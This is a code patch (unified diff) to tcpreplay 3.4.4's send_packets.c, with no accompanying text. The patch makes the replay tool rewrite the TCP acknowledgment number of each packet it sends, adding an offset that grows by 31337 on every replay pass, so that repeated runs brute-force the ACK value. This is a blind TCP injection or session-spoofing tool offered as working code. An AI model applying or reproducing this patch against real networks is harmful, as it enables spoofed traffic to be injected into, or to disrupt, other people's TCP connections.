diff -u -r tcpreplay-3.4.4/src/send_packets.c tcpreplay-3.4.4.patched/src/send_packets.c
--- tcpreplay-3.4.4/src/send_packets.c	2010-04-05 02:58:02.000000000 +0200
+++ tcpreplay-3.4.4.patched/src/send_packets.c	2013-08-06 10:56:51.757048452 +0200
@@ -81,6 +81,9 @@
 void
 send_packets(pcap_t *pcap, int cache_file_idx)
 {
+    static u_int32_t ack_bruteforce_offset = 1;
+    uint32_t* ack;
+    uint32_t orig_ack;
     struct timeval last = { 0, 0 }, last_print_time = { 0, 0 }, print_delta, now;
     COUNTER packetnum = 0;
     struct pcap_pkthdr pkthdr;
@@ -154,6 +157,9 @@
 #endif
 
 #if defined TCPREPLAY && defined TCPREPLAY_EDIT
+        ack = (uint32_t*)(pktdata + 14 + 20 + 8);
+        orig_ack = *ack;
+        *ack = htonl(ntohl(*ack) + ack_bruteforce_offset);
         pkthdr_ptr = &pkthdr;
         if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp->cache_dir) == -1) {
             errx(-1, "Error editing packet #" COUNTER_SPEC ": %s", packetnum, tcpedit_geterr(tcpedit));
@@ -176,7 +182,7 @@
         /* write packet out on network */
         if (sendpacket(sp, pktdata, pktlen) < (int)pktlen)
             warnx("Unable to send packet: %s", sendpacket_geterr(sp));
-
+        *ack = orig_ack;
         /*
          * track the time of the "last packet sent".  Again, because of OpenBSD
          * we have to do a mempcy rather then assignment.
@@ -205,7 +211,7 @@
             }
         }
     } /* while */
-
+    ack_bruteforce_offset += 31337;
     if (options.enable_file_cache) {
         options.file_cache[cache_file_idx].cached = TRUE;
     }